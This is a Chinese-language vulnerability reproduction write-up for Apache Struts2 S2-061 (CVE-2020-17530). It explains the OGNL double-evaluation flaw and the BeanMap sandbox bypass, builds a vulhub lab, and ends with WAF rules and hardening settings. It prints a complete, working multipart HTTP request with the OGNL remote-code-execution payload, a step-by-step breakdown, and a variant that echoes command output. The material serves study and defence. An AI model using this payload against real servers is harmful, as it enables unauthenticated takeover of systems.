AI摘要
漏洞概述
漏洞信息
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2020-17530 |
| 漏洞名称 | S2-061: Forced OGNL Double Evaluation via Tag Attributes |
| 漏洞类型 | 远程命令执行 (RCE) |
| CVSS 评分 | 9.8 (CRITICAL) |
| 攻击向量 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影响版本 | Struts 2.0.0 ~ 2.5.25 |
| 修复版本 | Struts 2.5.26+ |
| 利用条件 | 目标使用了 Struts2 UI 标签,且标签属性值中存在%{...} 表达式且参数用户可控 |
| 发现者 | Steeve Barbeau、Alvaro Munoz (GitHub Security Lab) |
| 披露时间 | 2020-12-08 |
漏洞原理
OGNL 双重表达式解析
Apache Struts2 在渲染 JSP 页面时,会通过 OGNL(Object-Graph Navigation Language)表达式引擎对标签属性值进行求值。核心问题在于,Struts2 的某些 UI 标签(如 id、name 等属性)在解析属性值时会发生二次 OGNL 解析:
- 第一次解析:Struts2 解析 JSP 页面中的
%{x}语法,将x替换为用户传入的参数值。例如%{name}→%{test} - 第二次解析:Struts2 将第一次解析后的结果再次送入 OGNL 引擎执行,此时
%{test}中的test会被当作 OGNL 表达式执行
核心漏洞链路:用户输入 → 标签属性 %{userInput} → Struts2 第一次解析(变量替换)→ 第二次解析(OGNL 求值)→ 代码执行攻击者构造恶意参数
│
▼
┌──────────────────────────┐
│ HTTP Request │
│ POST /index.action │
│ id=%{OGNL_PAYLOAD} │
└──────────┬───────────────┘
│
▼
┌──────────────────────────┐
│ 参数绑定 │
│ id = %{OGNL_PAYLOAD} │
└──────────┬───────────────┘
│
▼
┌──────────────────────────┐
│ Struts2 UI 标签渲染 │
│ <s:textfield id="%{id}"/>│
│ 第一次替换: │
│ id="%{OGNL_PAYLOAD}" │
└──────────┬───────────────┘
│
▼
┌──────────────────────────┐
│ 二次 OGNL 解析 (漏洞点) │
│ OgnlUtil.getValue() │
│ 执行恶意表达式 │
└──────────┬───────────────┘
│
▼
RCE!S2-059 沙盒与 S2-061 绕过
Struts2 在 S2-059 之后引入了 OGNL 沙盒机制,通过 SecurityMemberAccess 类限制可调用的类和包:
excludedClasses:黑名单类(如Runtime、ProcessBuilder等)excludedPackageNames:黑名单包(如java.lang等)allowStaticMethodAccess:默认false,禁止静态方法调用
S2-061 的绕过思路:利用 org.apache.commons.collections.BeanMap 反射操作 SecurityMemberAccess 对象,清空黑名单。
具体手法:
| 步骤 | OGNL 操作 | 说明 |
|---|---|---|
| 1 | #instancemanager = #application["org.apache.tomcat.InstanceManager"] | 获取 Tomcat 的 InstanceManager,用于反射实例化对象 |
| 2 | #stack = #attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"] | 获取当前 ValueStack |
| 3 | #bean = #instancemanager.newInstance("org.apache.commons.collections.BeanMap") | 创建 BeanMap 实例,可任意读写 JavaBean 属性 |
| 4 | #bean.setBean(#stack) → #context = #bean.get("context") | 通过 BeanMap 获取 OGNL 上下文 |
| 5 | #bean.setBean(#context) → #macc = #bean.get("memberAccess") | 获取安全访问控制器SecurityMemberAccess |
| 6 | #bean.setBean(#macc) → #bean.put("excludedClasses", #emptyset) → #bean.put("excludedPackageNames", #emptyset) | 清空黑名单,沙盒彻底失效 |
| 7 | #execute = #instancemanager.newInstance("freemarker.template.utility.Execute") | 实例化 Freemarker 的 Execute 工具类 |
| 8 | #execute.exec(#arglist) | 执行系统命令 |
S2-061 的本质是对 S2-059 沙盒的反射绕过——通过 BeanMap 间接操作 SecurityMemberAccess 的私有字段,从而解除所有类/包调用限制。影响范围
| 版本范围 | 状态 |
|---|---|
| Struts 2.0.0 ~ 2.5.25 | 受影响 |
| Struts 2.5.26+ | 已修复 |
利用条件:
- 应用使用了 Struts2 UI 标签(如
<s:textfield>、<s:label>等),且标签属性值中包含%{...}表达式 - 表达式内的参数值来自用户输入(GET/POST 参数),且未经过滤
- 目标环境类路径下存在
commons-collections和freemarker依赖(常见于 Tomcat 部署)
生态影响:国内外大量基于 Struts2 的企业级应用、政府网站、金融机构均受影响。由于攻击无需认证、复杂度低,被多个漏洞扫描器(Goby、XRay、Nuclei)收录为高危检测规则。
环境搭建
使用 vulhub 提供的 Docker 靶场快速构建复现环境:
# 克隆 vulhub 仓库(如已克隆则跳过)
git clone https://github.com/vulhub/vulhub.git
# 进入 S2-061 漏洞目录
cd vulhub/struts2/s2-061
# 启动靶场容器
docker-compose up -d启动后访问 http://your-ip:8080/index.action 即可看到测试页面。
漏洞复现
构造攻击请求
使用 Burp Suite 或其他 HTTP 客户端发送以下 multipart/form-data 请求:
POST /index.action HTTP/1.1
Host: 192.168.50.134:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 827
------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("id")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF--Payload 逐段解析
// 1. 获取 Tomcat InstanceManager,用于反射创建对象
#instancemanager = #application["org.apache.tomcat.InstanceManager"]
// 2. 获取当前请求的 ValueStack
#stack = #attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]
// 3. 创建 BeanMap,可反射读写任意 JavaBean 的属性
#bean = #instancemanager.newInstance("org.apache.commons.collections.BeanMap")
// 4. 通过 BeanMap 读取 ValueStack 的 "context" 属性 → 拿到 OGNL 上下文
#bean.setBean(#stack)
#context = #bean.get("context")
// 5. 通过 BeanMap 读取上下文中的 "memberAccess" → 拿到 SecurityMemberAccess
#bean.setBean(#context)
#macc = #bean.get("memberAccess")
// 6. 清空沙盒黑名单:excludedClasses 和 excludedPackageNames 均设为空 Set
#bean.setBean(#macc)
#emptyset = #instancemanager.newInstance("java.util.HashSet")
#bean.put("excludedClasses", #emptyset)
#bean.put("excludedPackageNames", #emptyset)
// 7. 构造参数列表并执行命令
#arglist = #instancemanager.newInstance("java.util.ArrayList")
#arglist.add("id")
#execute = #instancemanager.newInstance("freemarker.template.utility.Execute")
#execute.exec(#arglist)参数说明
| 参数 | OGNL 变量 | 说明 |
|---|---|---|
#instancemanager | org.apache.tomcat.InstanceManager | Tomcat 的对象实例化管理器 |
#stack | ValueStack | Struts2 的值栈,贯穿整个请求生命周期 |
#bean | org.apache.commons.collections.BeanMap | Apache Commons Collections 的反射 Map 包装器 |
#context | OGNL Context | OGNL 上下文,持有所有运行时变量和安全配置 |
#macc | SecurityMemberAccess | OGNL 成员访问控制器,负责黑名单鉴权 |
#emptyset | java.util.HashSet | 空集合,用于覆盖黑名单 |
#arglist | java.util.ArrayList | 命令参数列表 |
#execute | freemarker.template.utility.Execute | Freemarker 模板引擎的命令执行工具类 |
执行结果
发送请求后,服务器返回 id 命令的输出,确认命令执行成功:
命令回显(可选)
原始 payload 执行命令后无回显(盲执行)。如需回显,可将执行结果存入响应体:
// 将 id 命令输出存入 PageContext,利用 Struts2 模板渲染回显
#writer = #context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()
#writer.println(#execute.exec(#arglist))
#writer.flush()
#writer.close()延伸阅读
Struts2 S2 系列 OGNL RCE 漏洞对比
| 编号 | CVE | 漏洞原理 | 影响版本 | 利用方式 |
|---|---|---|---|---|
| S2-045 | CVE-2017-5638 | Jakarta Multipart parser 异常处理中 OGNL 注入 | 2.3.5 ~ 2.3.31 / 2.5 ~ 2.5.10 | Content-Type 请求头注入 |
| S2-046 | CVE-2017-5638 | 同 S2-045,利用Content-Disposition 文件名注入 | 同上 | Content-Disposition 文件名注入 |
| S2-057 | CVE-2018-11776 | 命名空间(namespace)解析时 OGNL 注入 | 2.3 ~ 2.3.34 / 2.5 ~ 2.5.16 | URL namespace 位置注入 |
| S2-059 | CVE-2019-0230 | 标签属性二次 OGNL 解析(首次引入沙盒) | 2.5.20 之前 | 标签属性%{...} 注入 |
| S2-061 | CVE-2020-17530 | S2-059 沙盒绕过(BeanMap 反射) | 2.0.0 ~ 2.5.25 | 标签属性注入 + BeanMap 黑名单绕过 |
| S2-062 | CVE-2021-31805 | S2-061 修复后的另一种沙盒绕过 | 2.0.0 ~ 2.5.29 | #attr['struts.valueStack'] 上下文逃逸 |
S2-059/061/062 代表了 Struts2 在 OGNL 沙盒上与安全研究者的一场"攻防拉锯"——每一次修复引入新限制,研究者随即找到新的绕过路径。这也是动态表达式引擎在 Web 框架中的固有安全困境。
修复与加固建议
1. 升级版本(根本修复)
将 Struts2 升级至 2.5.26 及以上版本。官方在 2.5.26 中进一步加强了 SecurityMemberAccess,限制了通过反射绕过黑名单的路径(如禁止 BeanMap 等工具类访问 memberAccess)。
2. WAF 规则
针对 OGNL 表达式的特征字符在 WAF 上配置拦截规则:
# Nginx ModSecurity 示例规则
SecRule ARGS|REQUEST_HEADERS "%\{" \
"id:10001,phase:2,deny,msg:'Struts2 OGNL Injection Attempt'"
SecRule ARGS "(#|%23)(context|memberAccess|_memberAccess|instancemanager)" \
"id:10002,phase:2,deny,msg:'Struts2 SandBox Bypass Attempt'"3. OGNL 沙盒加固
在 struts.xml 或 struts.properties 中严格限制可访问的类:
# 阻止动态方法调用
struts.ognl.allowStaticMethodAccess = false
# 增加黑名单类
struts.excludedClasses = java.lang.Runtime,java.lang.ProcessBuilder,java.lang.System,freemarker.template.utility.Execute
# 增加黑名单包
struts.excludedPackageNamePatterns = ^freemarker\..*,^ognl\..*,^javax\.script\..*参考文献
- NVD - CVE-2020-17530: https://nvd.nist.gov/vuln/detail/CVE-2020-17530
- Apache Struts 2 Wiki - S2-061: https://cwiki.apache.org/confluence/display/WW/S2-061
- Apache Struts 2 Wiki - S2-059: https://cwiki.apache.org/confluence/display/WW/S2-059
- Apache Struts 2 - Security Guide: https://struts.apache.org/security/
- OGNL - Apache Commons OGNL: https://commons.apache.org/proper/commons-ognl/


